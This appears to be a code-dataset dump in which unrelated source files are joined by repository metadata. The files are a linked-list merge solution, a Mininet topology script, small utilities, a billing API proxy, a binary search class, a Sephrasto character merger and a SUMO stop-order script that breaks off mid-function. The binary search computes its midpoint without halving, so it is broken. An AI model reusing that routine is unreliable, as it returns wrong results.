# SinglyLinkedListNode: # int data # SinglyLinkedListNode next # # def findMergeNode(head1, head2): # the data on the linked list nodes might not be unique # we can't rely on just checking the data in each node # as with any node-based data structure, each node is a unique # region in memory # the actual data on the merge point node is what we're going to return # why a set? because sets are good at noting what we've seen already # sets are good at holding unique things # the linked lists kept track of the order of elements for us, so that # the set didn't have to # sets on their own do not keep track of the order in which elements # are inserted # Idea 1: if we're opting to not mutate list nodes # Runtime: O(n + m) where n and m are the lengths of the two lists # Space: O(n) # we can use a set to keep track of nodes we've visited # traverse one of the lists, adding each node to a visited set # traverse the other list, checking to see if each node is in the set # return the value of the first node in the second list that we find # in the set curr = head1 s = set() while curr: s.add(curr) curr = curr.next curr = head2 while curr: if curr in s: return curr.data curr = curr.next # Idea 2: If we allow mutation of the input # Runtime: O(n + m) where n and m are the lengths of the two lists # Space: O(1) # traverse one of the lists, adding an attribute on each node to # signify that we've seen this node before # traverse the other list until we find the first node that has # the attribute # curr = head1 # while curr: # curr.visited = True # curr = curr.next # curr = head2 # while curr: # if hasattr(curr, 'visited'): # return curr.data # curr = curr.next
32.616667
76
0.625447
aa05631a42f72d4c0233c244c13b2a0dbd784244
3,419
py
Python
ryu/app/otherApp/topo/four_con_topo.py
yuesir137/SDN-CLB
58b12a9412cffdf2945440528b1885c8899edd08
[ "Apache-2.0" ]
null
null
null
ryu/app/otherApp/topo/four_con_topo.py
yuesir137/SDN-CLB
58b12a9412cffdf2945440528b1885c8899edd08
[ "Apache-2.0" ]
null
null
null
ryu/app/otherApp/topo/four_con_topo.py
yuesir137/SDN-CLB
58b12a9412cffdf2945440528b1885c8899edd08
[ "Apache-2.0" ]
null
null
null
#!/usr/bin/python3 import time import math from mininet.net import Mininet from mininet.node import Controller, OVSKernelSwitch, RemoteController,OVSSwitch from mininet.cli import CLI from mininet.log import setLogLevel, info from mininet.link import TCLink,Link from mininet.topo import Topo class MyTopo(Topo): "Simple topology example." def __init__(self,**opts): Topo.__init__(self,**opts) switches=[] switches.append('s0') for i in range(1,17): h=self.addHost('h%s'%(i),ip='10.0.0.%s'%(i)) s=self.addSwitch('s%s'%(i)) switches.append(s) self.addLink(h,s) linkopts=dict(bw=10) for i in range(1, 17): for j in range(1, 3): next = i + j if next > 16: next -= 16 self.addLink(switches[i],switches[next],**linkopts) def pingClient(net): clients= {} for i in range(1,17): clients['h%d'%i]=net.get('h%d'%i) host=clients['h%d'%i] if i==1: host.cmd('ping 10.0.0.{} -c1'.format(i+1)) print('h{} ping 10.0.0.{} -c1'.format(i,i+1)) else: host.cmd('ping 10.0.0.1 -c1') print('h{} ping 10.0.0.1 -c1'.format(i)) def runClient(net): clients= {} for i in range(1,17): clients['h%d' % i] = net.get('h%d' % i) host = clients['h%d' % i] host.cmd('iperf -s -u &') print("run iperf server at 10.0.0.{}".format(i)) # if (math.ceil(i/4)==1 or math.ceil(i/4)==3): # host.cmd('/home/ygb/ESMLB/Ryu-venv/bin/python3 iperf4.py {} &'.format(i)) # print('run iperf client at 10.0.0.{} '.format(i)) # print('ok') host.cmd('/home/ygb/ESMLB/Ryu-venv/bin/python3 iperf4.py {} &'.format(i)) print('run iperf client at 10.0.0.{} '.format(i)) print('ok') def runScapy(net): for i in range(1, 17): host = net.get('h%d' % i) host.cmd('sudo python3 -u scapyTraffic.py {} >scapy{}.log&'.format(i, i)) print('run scapy at 10.0.0.{} '.format(i)) REMOTE_CONTROLLER_IP = '0.0.0.0' # REMOTE_CONTROLLER_IP='192.168.136.1' if __name__ == '__main__': setLogLevel('info') topo = MyTopo() net = Mininet(topo=topo, controller=None, link=TCLink, switch=OVSKernelSwitch) net.addController("c0", controller=RemoteController, ip=REMOTE_CONTROLLER_IP, port=6653) net.addController("c1", controller=RemoteController, ip=REMOTE_CONTROLLER_IP, port=6654) net.addController("c2", controller=RemoteController, ip=REMOTE_CONTROLLER_IP, port=6655) net.addController("c3", controller=RemoteController, ip=REMOTE_CONTROLLER_IP, port=6656) net.start() print('net started') pingClient(net) net.pingAll() initedConNum = 0 while initedConNum != 4: f = open('/home/ygb/ESMLB/ryu/app/otherApp/initedController', 'r') lines = f.readlines() initedConNum = len(lines) f.close() time.sleep(1) # print('will runClient') # runClient(net) print('will runScapy') runScapy(net) CLI(net) net.stop()
31.953271
87
0.537877
d8364e4d2924d5a322c6a06f1820af4fc79d8116
226
py
Python
monitoring/prometheus/aliyun-exporter/aliyun_exporter/utils.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
264
2018-12-09T13:41:45.000Z
2022-02-08T07:10:02.000Z
monitoring/prometheus/aliyun-exporter/aliyun_exporter/utils.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
42
2018-12-11T10:20:57.000Z
2019-10-25T09:56:22.000Z
monitoring/prometheus/aliyun-exporter/aliyun_exporter/utils.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
154
2018-12-11T02:12:01.000Z
2022-03-25T03:45:54.000Z
def format_metric(text: str): return text.replace('.', '_') def format_period(text: str): return text.split(',', 1)[0] def try_or_else(op, default): try: return op() except: return default
15.066667
33
0.59292
dca0873ee77bf96a58b34a24592907bde7d7015f
49
py
Python
docker-desktop/vnc/docker-ubuntu-vnc-desktop/image/usr/local/lib/web/backend/vnc/log.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
2,917
2015-01-20T15:26:36.000Z
2022-03-31T18:15:11.000Z
docker-desktop/vnc/docker-ubuntu-vnc-desktop/image/usr/local/lib/web/backend/vnc/log.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
232
2015-03-02T18:15:32.000Z
2022-03-25T17:32:20.000Z
docker-desktop/vnc/docker-ubuntu-vnc-desktop/image/usr/local/lib/web/backend/vnc/log.py
smthkissinger/docker-images
35e868295d04fa780325ada4168381f1e80e8fe4
[ "BSD-3-Clause" ]
1,232
2015-01-07T21:55:35.000Z
2022-03-29T15:51:18.000Z
import logging log = logging.getLogger('novnc2')
16.333333
33
0.77551
762cbea4315072d4f6d8097ec6dfd0bcecf842e8
3,231
py
Python
pba.py
vasmedvedev/automation
98cdf5c577fc4dd57b2d9b7ccfd96e849394cc95
[ "MIT" ]
null
null
null
pba.py
vasmedvedev/automation
98cdf5c577fc4dd57b2d9b7ccfd96e849394cc95
[ "MIT" ]
null
null
null
pba.py
vasmedvedev/automation
98cdf5c577fc4dd57b2d9b7ccfd96e849394cc95
[ "MIT" ]
null
null
null
import re import hashlib from abstract import Proxy class PBAProxy(Proxy): def get_order_status(self, order_id): response = self.proxy.Execute({ 'methodName': 'Execute', 'Server': 'BM', 'Method': 'GetOrder_API', 'Params': [order_id] }) return response['Result'][0][4] def get_order_signature(self, order_id): """ Makes order signature for given order_id :param order_id: Order ID :type order_id: int, long :return: signature :rtype: str """ response = self.proxy.Execute({ 'methodName': 'Execute', 'Server': 'BM', 'Method': 'GetOrder_API', 'Params': [order_id] }) result = response['Result'] order_id = str(result[0][0]) order_number = str(result[0][1]) creation_time = str(result[0][6]) order_total = str(result[0][8]) description = str(result[0][12]) currency = result[0][-2] precision = 2 try: with open('/usr/local/stellart/share/currencies.txt', 'r') as settings_file: for line in settings_file: if re.match(currency, line): precision = int(line.split()[2]) except (IOError, ValueError): pass if re.match(r'\d{,10}\.\d{1}$', order_total) is not None: order_total += '0' * (precision - 1) else: order_total_regex = '\d{,10}\.?\d{,%s}' % precision order_total = re.search(order_total_regex, order_total).group() # Concatenate signature parts signature_part1 = ''.join([order_id, order_number, creation_time, currency]) signature_part2 = ''.join([order_total, description]) # Truncate space at the end signature = ' '.join([signature_part1, signature_part2]).rstrip() # Generate md5sum sigres = hashlib.md5(signature.encode('utf-8')).hexdigest() return sigres def order_status_change(self, order_id, order_signature, status='PD'): response = self.proxy.Execute({ 'methodName': 'Execute', 'Server': 'BM', 'Method': 'OrderStatusChange_API', 'Params': [order_id, status, order_signature] }) return response def restart_order(self, order_id, target_status='PD'): signature = self.get_order_signature(order_id) return self.order_status_change(order_id, signature, target_status) def trigger_event(self, ekid, oiid, sid, message='EventProcessing'): params_map = { 'Creation Completed': 'OrderItemID={}; SubscrID={}; IssuedSuccessfully=1; Message={}'.format(oiid, sid, message), 'Deletion Completed': 'OrderItemID={}; IssuedSuccessfully=1; Message={}.'.format(oiid, message) } params = params_map.get(ekid) if not params: return None res = self.proxy.Execute({ 'methodName': 'Execute', 'Server': 'TASKMAN', 'Method': 'PostEvent', 'Params': [ekid, params, 0] }) return res
31.990099
125
0.557722
522c5209ff988d2d907955873048cc48c4ffc959
810
py
Python
Datastructures/BinarySearch.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
Datastructures/BinarySearch.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
Datastructures/BinarySearch.py
BALAVIGNESHDOSTRIX/pyexpert
300498f66a3a4f6b3060d51b3d6643d8e63cf746
[ "CC0-1.0" ]
null
null
null
#binary search class BinarySearch: def __init__(self): self.elements = [10,12,15,18,19,22,27,32,38] def SearchElm(self,elem): start = 0 stop = len(self.elements)-1 while start <= stop: mid_point = start + (stop - start) if self.elements[mid_point] == elem: return mid_point elif elem > self.elements[mid_point]: start = mid_point + 1 else: stop = mid_point - 1 return -1 binary = BinarySearch() element = int(input("Enter the element you want search :")) res = binary.SearchElm(element) if res != -1: print("The position of the {x} is {y} ".format(x = element,y=res)) else: print("The element is not presented in the array")
22.5
71
0.550617
5ec618baaa19cdb2c7b27b33ac1bfb9f081b82c6
318
py
Python
0-notes/job-search/Cracking the Coding Interview/C10SortingSearching/questions/10.5-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C10SortingSearching/questions/10.5-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
0-notes/job-search/Cracking the Coding Interview/C10SortingSearching/questions/10.5-question.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
# Sparse Search # Given a sorted array of strings that is interspersed with empty strings, # write a method to find the location of a given string. # EXAMPLE: INPUT: ball, {"at", "", "", "", "ball", "", "", "car", "", "", "dad", "", ""} # OUTPUT: 4 # time complexity: O() # space complexity: O()
28.909091
90
0.569182
0da51da16a4897ea63ca337d5623314681897ad9
22,301
py
Python
src/Sephrasto/CharakterAssistent/CharakterMerger.py
Ilaris-Tools/Sephrasto
8574a5b45da8ebfa5f69a775066fd3136da1c718
[ "MIT" ]
1
2022-02-02T16:15:59.000Z
2022-02-02T16:15:59.000Z
src/Sephrasto/CharakterAssistent/CharakterMerger.py
Ilaris-Tools/Sephrasto
8574a5b45da8ebfa5f69a775066fd3136da1c718
[ "MIT" ]
1
2022-01-14T11:04:19.000Z
2022-01-14T11:04:19.000Z
src/Sephrasto/CharakterAssistent/CharakterMerger.py
lukruh/Sephrasto
8574a5b45da8ebfa5f69a775066fd3136da1c718
[ "MIT" ]
null
null
null
from Charakter import VariableKosten from CharakterAssistent import ChoicePopupWrapper from CharakterAssistent import VariantPopupWrapper from CharakterAssistent import Choice import Fertigkeiten import Objekte import Definitionen from Wolke import Wolke import lxml.etree as etree import logging from Hilfsmethoden import Hilfsmethoden from EventBus import EventBus from CharakterAssistent.ChoiceXmlVerifier import ChoiceXmlVerifier class CharakterMerger(object): def __init__(self): pass def setVariableVorteilKosten(vorteil, var): char = Wolke.Char if vorteil in char.vorteileVariable: if vorteil in char.vorteile: char.vorteileVariable[vorteil].kosten += var.kosten else: char.vorteileVariable[vorteil].kosten = var.kosten if var.kommentar != "": if char.vorteileVariable[vorteil].kommentar != "": char.vorteileVariable[vorteil].kommentar += ", " + var.kommentar else: char.vorteileVariable[vorteil].kommentar = var.kommentar else: char.vorteileVariable[vorteil] = var def setVariableTalentKosten(talent, var, fert): char = Wolke.Char #round down to nearest multiple in case of a db cost change defaultKosten = char.getDefaultTalentCost(talent, fert.steigerungsfaktor) var.kosten = max(var.kosten - (var.kosten%defaultKosten), defaultKosten) if talent in char.talenteVariable: char.talenteVariable[talent].kosten += var.kosten if var.kommentar != "": if char.talenteVariable[talent].kommentar != "" and not var.kommentar in char.talenteVariable[talent].kommentar: char.talenteVariable[talent].kommentar += ", " + var.kommentar else: char.talenteVariable[talent].kommentar = var.kommentar else: char.talenteVariable[talent] = var def addFreieFertigkeit(name, wert, overrideEmpty): if name == "": return char = Wolke.Char fert = Fertigkeiten.FreieFertigkeit() fert.name = name fert.wert = wert found = False for ff in char.freieFertigkeiten: if fert.name == ff.name: ff.wert = min(ff.wert + fert.wert, 3) found = True break if not found: if len(char.freieFertigkeiten) == 28: return if overrideEmpty and fert.wert == 3 and len(char.freieFertigkeiten) > 0 and char.freieFertigkeiten[0].name == "": char.freieFertigkeiten[0] = fert else: char.freieFertigkeiten.append(fert) def readChoices(path): root = etree.parse(path).getroot() ChoiceXmlVerifier.validateXml(root) variantListCollections = [] for varianten in root.findall('Varianten'): variantListCollection = Choice.ChoiceListCollection() if 'pflichtwahl' in varianten.attrib: variantListCollection.chooseOne = int(varianten.attrib['pflichtwahl']) != 0 else: variantListCollection.chooseOne = False CharakterMerger.xmlNodeToChoices(variantListCollection, varianten.findall('Variante')) variantListCollections.append(variantListCollection) choiceListCollection = Choice.ChoiceListCollection() CharakterMerger.xmlNodeToChoices(choiceListCollection, root.findall('Auswahl')) return variantListCollections, choiceListCollection def handleChoices(element, geschlecht, spezies, kultur, profession): char = Wolke.Char if not spezies: char.kurzbeschreibung += ", " if kultur: char.kurzbeschreibung += "Kultur: " + element.name char.kultur = element.name else: char.kurzbeschreibung += "Profession: " + element.name char.profession = element.name if not element.varPath: return description = [] variantListCollections, choiceListCollection = CharakterMerger.readChoices(element.varPath) variantsSelected = [] indexOffset = 0 anyChooseOne = False for variantListCollection in variantListCollections: variantListCollection.choiceLists = [cl for cl in variantListCollection.choiceLists if cl.meetsConditions(geschlecht, variantsSelected)] if (len(variantListCollection.choiceLists) == 0): continue anyChooseOne = anyChooseOne or variantListCollection.chooseOne choices = [] if (variantListCollection.chooseOne and len(variantListCollection.choiceLists) == 1): choices.append(0) else: popup = VariantPopupWrapper.VariantPopupWrapper(variantListCollection, element.name, char.EPspent) choices = popup.choices for index in choices: variantsSelected.append(indexOffset + index) choiceList = variantListCollection.choiceLists[index] if choiceList.beschreibung == None: description.append(choiceList.name) elif choiceList.beschreibung != "": description.append(choiceList.beschreibung) for choice in choiceList.choices: CharakterMerger.applyChoiceToChar(choice) indexOffset += len(variantListCollection.choiceLists) if len(description) > 0: description = ", ".join(description) if spezies: if anyChooseOne: char.rasse = description else: char.rasse = element.name + " (" + description + ")" elif kultur: char.kurzbeschreibung += " (" + description + ")" char.kultur = element.name + " (" + description + ")" elif profession: char.kurzbeschreibung += " (" + description + ")" char.profession = element.name + " (" + description + ")" for i in range(len(choiceListCollection.choiceLists)): choiceList = choiceListCollection.choiceLists[i] #Some choices are only enabled when a variant was (not) selected if not choiceList.meetsConditions(geschlecht, variantsSelected): continue #Let user choose via popup or auto-choose if there is only one entry (usually due to removal - see below) choice = None if len(choiceList.choices) > 1: popup = ChoicePopupWrapper.ChoicePopupWrapper(choiceList, element.name, char.EPspent) choice = popup.choice elif len(choiceList.choices) == 1: choice = choiceList.choices[0] if not choice: continue choiceListCollection.filter(i, choice) CharakterMerger.applyChoiceToChar(choice) def xmlNodeToChoices(choiceListCollection, node): for child in node: choiceList = Choice.ChoiceList() if 'name' in child.attrib: choiceList.name = child.attrib['name'] if 'varianten' in child.attrib: choiceList.varianten = [int(x) for x in child.attrib['varianten'].split(',')] if 'keine-varianten' in child.attrib: choiceList.keineVarianten = [int(x) for x in child.attrib['keine-varianten'].split(',')] if 'beschreibung' in child.attrib: choiceList.beschreibung = child.attrib['beschreibung'] if 'geschlecht' in child.attrib: geschlecht = child.attrib['geschlecht'] if geschlecht != "männlich" and geschlecht != "weiblich": logging.warn("CharakterAssistent: Unbekanntes Geschlecht " + geschlecht) else: choiceList.geschlecht = geschlecht for fer in child.findall('Eigenheit'): choice = Choice.Choice() choice.name = fer.attrib['name'] choice.typ = "Eigenheit" choiceList.choices.append(choice) for fer in child.findall('Attribut'): choice = Choice.Choice() choice.name = fer.attrib['name'] choice.wert = int(fer.attrib['wert']) choice.typ = "Attribut" if not choice.name in Definitionen.Attribute.keys(): logging.warn("CharakterAssistent: konnte Attribut " + choice.name + " nicht finden") continue choiceList.choices.append(choice) for fer in child.findall('Freie-Fertigkeit'): choice = Choice.Choice() choice.name = fer.attrib['name'] choice.wert = int(fer.attrib['wert']) choice.typ = "Freie-Fertigkeit" choiceList.choices.append(choice) for fer in child.findall('Fertigkeit'): choice = Choice.Choice() choice.name = fer.attrib['name'] choice.wert = int(fer.attrib['wert']) choice.typ = "Fertigkeit" if not choice.name in Wolke.DB.fertigkeiten: logging.warn("CharakterAssistent: konnte Fertigkeit " + choice.name + " nicht finden") continue choiceList.choices.append(choice) for fer in child.findall('Übernatürliche-Fertigkeit'): choice = Choice.Choice() choice.name = fer.attrib['name'] choice.wert = int(fer.attrib['wert']) choice.typ = "Übernatürliche-Fertigkeit" if not choice.name in Wolke.DB.übernatürlicheFertigkeiten: logging.warn("CharakterAssistent: konnte Übernatürliche Fertigkeit " + choice.name + " nicht finden") continue choiceList.choices.append(choice) for vor in child.findall('Vorteil'): choice = Choice.Choice() choice.name = vor.attrib['name'] choice.typ = "Vorteil" if "kommentar" in vor.attrib: choice.kommentar = vor.attrib["kommentar"] if "wert" in vor.attrib: choice.wert = int(vor.attrib["wert"]) if not choice.name in Wolke.DB.vorteile: logging.warn("CharakterAssistent: konnte Vorteil " + choice.name + " nicht finden") continue choiceList.choices.append(choice) for tal in child.findall('Talent'): choice = Choice.Choice() choice.name = tal.attrib['name'] choice.typ = "Talent" if "kommentar" in tal.attrib: choice.kommentar = tal.attrib["kommentar"] if "wert" in tal.attrib: choice.wert = int(tal.attrib["wert"]) if not choice.name in Wolke.DB.talente: logging.warn("CharakterAssistent: konnte Talent " + choice.name + " nicht finden") continue choiceList.choices.append(choice) choiceListCollection.choiceLists.append(choiceList) def applyChoiceToChar(choice): char = Wolke.Char if choice.typ == "Eigenheit": if len(char.eigenheiten) == 8: return if not choice.name in char.eigenheiten: char.eigenheiten.append(choice.name) elif choice.typ == "Attribut": if not choice.name in char.attribute: return char.attribute[choice.name].wert += int(choice.wert) char.attribute[choice.name].aktualisieren() elif choice.typ == "Freie-Fertigkeit": CharakterMerger.addFreieFertigkeit(choice.name, choice.wert, True) elif choice.typ == "Fertigkeit": char.fertigkeiten[choice.name].wert = max(char.fertigkeiten[choice.name].wert + choice.wert, 0) char.fertigkeiten[choice.name].aktualisieren(char.attribute) elif choice.typ == "Übernatürliche-Fertigkeit": char.übernatürlicheFertigkeiten[choice.name].wert = max(char.übernatürlicheFertigkeiten[choice.name].wert + choice.wert, 0) char.übernatürlicheFertigkeiten[choice.name].aktualisieren(char.attribute) elif choice.typ == "Vorteil": if choice.wert == -1: char.removeVorteil(choice.name) else: if Wolke.DB.vorteile[choice.name].variableKosten: var = VariableKosten() var.kosten = choice.wert var.kommentar = choice.kommentar CharakterMerger.setVariableVorteilKosten(choice.name, var) char.addVorteil(choice.name) elif choice.typ == "Talent": found = False talent = Wolke.DB.talente[choice.name] if choice.wert == -1: for fert in talent.fertigkeiten: if not talent.isSpezialTalent(): if fert in char.fertigkeiten and choice.name in char.fertigkeiten[fert].gekaufteTalente: char.fertigkeiten[fert].gekaufteTalente.remove(choice.name) else: if fert in char.übernatürlicheFertigkeiten and choice.name in char.übernatürlicheFertigkeiten[fert].gekaufteTalente: char.übernatürlicheFertigkeiten[fert].gekaufteTalente.remove(choice.name) else: for fert in talent.fertigkeiten: if not talent.isSpezialTalent(): if fert in char.fertigkeiten: if choice.name in char.fertigkeiten[fert].gekaufteTalente: continue char.fertigkeiten[fert].gekaufteTalente.append(choice.name) else: if fert in char.übernatürlicheFertigkeiten: if choice.name in char.übernatürlicheFertigkeiten[fert].gekaufteTalente and not talent.variableKosten: continue if not choice.name in char.übernatürlicheFertigkeiten[fert].gekaufteTalente: char.übernatürlicheFertigkeiten[fert].gekaufteTalente.append(choice.name) if talent.variableKosten: var = VariableKosten() var.kosten = choice.wert var.kommentar = choice.kommentar CharakterMerger.setVariableTalentKosten(talent.name, var, char.übernatürlicheFertigkeiten[fert]) char.aktualisieren() def xmlLesen(path, spezies, kultur): char = Wolke.Char root = etree.parse(path).getroot() alg = root.find('AllgemeineInfos') char.name = alg.find('name').text or '' char.status = int(alg.find('status').text) kurzbeschreibung = alg.find('kurzbeschreibung').text or '' if kurzbeschreibung: if char.kurzbeschreibung: char.kurzbeschreibung += ", " char.kurzbeschreibung += kurzbeschreibung char.finanzen = int(alg.find('finanzen').text) if spezies: char.rasse = alg.find('rasse').text or '' tmp = alg.find('heimat') skipTal = "" if not tmp is None: if kultur: if "Gebräuche" in char.fertigkeiten: gebräucheFert = char.fertigkeiten["Gebräuche"] oldTal = "Gebräuche: " + char.heimat if oldTal in gebräucheFert.gekaufteTalente: gebräucheFert.gekaufteTalente.remove(oldTal) char.heimat = tmp.text else: skipTal = "Gebräuche: " + tmp.text for eig in alg.findall('eigenheiten/*'): if len(char.eigenheiten) == 8: break if eig.text and not (eig.text in char.eigenheiten): char.eigenheiten.append(eig.text) for atr in root.findall('Attribute/*'): if not spezies and not kultur: char.attribute[atr.tag].wert = max(char.attribute[atr.tag].wert, int(atr.text)) else: char.attribute[atr.tag].wert += int(atr.text) char.attribute[atr.tag].aktualisieren() for ene in root.findall('Energien/AsP'): char.asp.wert += int(ene.attrib['wert']) for ene in root.findall('Energien/KaP'): char.kap.wert += int(ene.attrib['wert']) for vor in root.findall('Vorteile'): if "minderpakt" in vor.attrib: char.minderpakt = vor.get('minderpakt') char.addVorteil(char.minderpakt) else: char.minderpakt = None for vor in root.findall('Vorteile/*'): if not vor.text in Wolke.DB.vorteile: continue var = VariableKosten.parse(vor.get('variable')) if var: CharakterMerger.setVariableVorteilKosten(vor.text, var) char.addVorteil(vor.text) for fer in root.findall('Fertigkeiten/Fertigkeit'): nam = fer.attrib['name'] if not nam in Wolke.DB.fertigkeiten: continue if nam in char.fertigkeiten: fert = char.fertigkeiten[nam].__deepcopy__() else: fert = Wolke.DB.fertigkeiten[nam].__deepcopy__() fert.wert += int(fer.attrib['wert']) for tal in fer.findall('Talente/Talent'): nam = tal.attrib['name'] if not nam in Wolke.DB.talente: continue if nam in fert.gekaufteTalente: continue if nam == skipTal: continue fert.gekaufteTalente.append(nam) var = VariableKosten.parse(tal.attrib['variable']) if var: CharakterMerger.setVariableTalentKosten(nam, var, fert) fert.aktualisieren(char.attribute) char.fertigkeiten.update({fert.name: fert}) for fer in root.findall('Fertigkeiten/Freie-Fertigkeit'): CharakterMerger.addFreieFertigkeit(fer.attrib['name'], int(fer.attrib['wert']), False) objekte = root.find('Objekte'); for rüs in objekte.findall('Rüstungen/Rüstung'): if len(char.rüstung) == 3: break if not rüs.attrib['name']: continue exists = False for r in char.rüstung: if r.name == rüs.attrib['name']: exists = True break if exists: continue rüst = Objekte.Ruestung() rüst.name = rüs.attrib['name'] rüst.be = int(rüs.attrib['be']) rüst.rs = Hilfsmethoden.RsStr2Array(rüs.attrib['rs']) char.rüstung.append(rüst) for waf in objekte.findall('Waffen/Waffe'): if len(char.waffen) == 8: break if not waf.attrib['name']: continue exists = False for w in char.waffen: if w.name == waf.get('id'): exists = True break if exists: continue if waf.attrib['typ'] == 'Nah': waff = Objekte.Nahkampfwaffe() else: waff = Objekte.Fernkampfwaffe() waff.lz = int(waf.attrib['lz']) waff.wm = int(waf.get('wm') or 0) waff.anzeigename = waf.attrib['name'] waff.name = waf.get('id') or waff.anzeigename waff.rw = int(waf.attrib['rw']) waff.W6 = int(waf.attrib['W6']) waff.plus = int(waf.attrib['plus']) if waf.attrib['eigenschaften']: waff.eigenschaften = list(map(str.strip, waf.attrib['eigenschaften'].split(","))) waff.haerte = int(waf.attrib['haerte']) waff.kampfstil = waf.attrib['kampfstil'] if waff.name in Wolke.DB.waffen: dbWaffe = Wolke.DB.waffen[waff.name] waff.fertigkeit = dbWaffe.fertigkeit waff.talent = dbWaffe.talent waff.kampfstile = dbWaffe.kampfstile.copy() char.waffen.append(waff) for aus in objekte.findall('Ausrüstung/Ausrüstungsstück'): if len(char.ausrüstung) == 20: break if aus.text and not (aus.text in char.ausrüstung): char.ausrüstung.append(aus.text) for fer in root.findall('Übernatürliche-Fertigkeiten/Übernatürliche-Fertigkeit'): nam = fer.attrib['name'] if not nam in Wolke.DB.übernatürlicheFertigkeiten: continue if nam in char.übernatürlicheFertigkeiten: fert = char.übernatürlicheFertigkeiten[nam].__deepcopy__() else: fert = Wolke.DB.übernatürlicheFertigkeiten[nam].__deepcopy__() fert.wert += int(fer.attrib['wert']) if 'addToPDF' in fer.attrib: fert.addToPDF = fer.attrib['addToPDF'] == "True" for tal in fer.findall('Talente/Talent'): nam = tal.attrib['name'] if not nam in Wolke.DB.talente: continue if nam in fert.gekaufteTalente: continue fert.gekaufteTalente.append(nam) var = VariableKosten.parse(tal.attrib['variable']) if var: CharakterMerger.setVariableTalentKosten(nam, var, fert) fert.aktualisieren(char.attribute) char.übernatürlicheFertigkeiten.update({fert.name: fert}) char.aktualisieren()
42.804223
148
0.561724
219656bac307d20f56a5991c512e626b33734287
6,390
py
Python
Co-Simulation/Sumo/sumo-1.7.0/tools/output/stopOrder.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
4
2020-11-13T02:35:56.000Z
2021-03-29T20:15:54.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/output/stopOrder.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
9
2020-12-09T02:12:39.000Z
2021-02-18T00:15:28.000Z
Co-Simulation/Sumo/sumo-1.7.0/tools/output/stopOrder.py
uruzahe/carla
940c2ab23cce1eda1ef66de35f66b42d40865fb1
[ "MIT" ]
1
2020-11-20T19:31:26.000Z
2020-11-20T19:31:26.000Z
#!/usr/bin/env python # Eclipse SUMO, Simulation of Urban MObility; see https://eclipse.org/sumo # Copyright (C) 2012-2020 German Aerospace Center (DLR) and others. # This program and the accompanying materials are made available under the # terms of the Eclipse Public License 2.0 which is available at # https://www.eclipse.org/legal/epl-2.0/ # This Source Code may also be made available under the following Secondary # Licenses when the conditions for such availability set forth in the Eclipse # Public License 2.0 are satisfied: GNU General Public License, version 2 # or later which is available at # https://www.gnu.org/licenses/old-licenses/gpl-2.0-standalone.html # SPDX-License-Identifier: EPL-2.0 OR GPL-2.0-or-later # @file stopOrder.py # @author Jakob Erdmann # @date 2020-08-25 """ Compare ordering of vehicle departure at stops based on a route file with until times (ground truth) and stop-output """ from __future__ import absolute_import from __future__ import print_function import os import sys from collections import defaultdict if 'SUMO_HOME' in os.environ: sys.path.append(os.path.join(os.environ['SUMO_HOME'], 'tools')) import sumolib # noqa from sumolib.miscutils import parseTime # noqa from sumolib.xml import parse # noqa def get_options(args=None): parser = sumolib.options.ArgumentParser(description="Sample routes to match counts") parser.add_argument("-r", "--route-file", dest="routeFile", help="Input route file") parser.add_argument("-s", "--stop-file", dest="stopFile", help="Input stop-output file") parser.add_argument("-v", "--verbose", action="store_true", default=False, help="tell me what you are doing") options = parser.parse_args(args=args) if options.routeFile is None or options.stopFile is None: parser.print_help() sys.exit() return options def main(options): # stop (stoppingPlaceID or (lane, pos)) -> [(depart1, veh1), (depart2, veh2), ...] expected_departs = defaultdict(list) actual_departs = defaultdict(dict) ignored_stops = 0 parsed_stops = 0 for vehicle in parse(options.routeFile, ['vehicle', 'trip'], heterogeneous=True): if vehicle.stop is not None: for stop in vehicle.stop: if stop.hasAttribute("until"): if stop.hasAttribute("busStop"): stopCode = stop.busStop else: stopCode = (stop.lane, stop.endPos) expected_departs[stopCode].append((parseTime(stop.until), vehicle.id)) parsed_stops += 1 else: ignored_stops += 1 print("Parsed %s expected stops at %s locations" % (parsed_stops, len(expected_departs))) if ignored_stops > 0: sys.stderr.write("Ignored %s stops without 'until' attribute\n" % ignored_stops) output_stops = 0 for stop in parse(options.stopFile, "stopinfo", heterogeneous=True): if stop.hasAttribute("busStop"): stopCode = stop.busStop else: stopCode = (stop.lane, stop.endPos) ended = parseTime(stop.ended) until = ended - parseTime(stop.delay) actual_departs[stopCode][(until, stop.id)] = ended output_stops += 1 print("Parsed %s actual stops at %s locations" % (output_stops, len(actual_departs))) missing = defaultdict(list) for stopCode, vehicles in expected_departs.items(): if stopCode in actual_departs: actual_vehicles = actual_departs[stopCode] comparable_expected = [] comparable_actual = [] for vehCode in vehicles: if vehCode in actual_vehicles: comparable_expected.append(vehCode) comparable_actual.append((actual_vehicles[vehCode], vehCode)) # (ended, (until, vehID)) else: missing[stopCode].append(vehCode) comparable_expected.sort() comparable_actual.sort() num_unexpected = len(actual_vehicles) - len(comparable_actual) if num_unexpected > 0: print("Found %s unexpected stops at %s" % (num_unexpected, stopCode)) # after sorting, discard the 'ended' attribute and only keep vehCode comparable_actual2 = [v[1] for v in comparable_actual] # find and remove duplicate tmp = [] for vehCode in comparable_expected: if len(tmp) != 0: if vehCode != tmp[-1]: tmp.append(vehCode) else: if options.verbose: 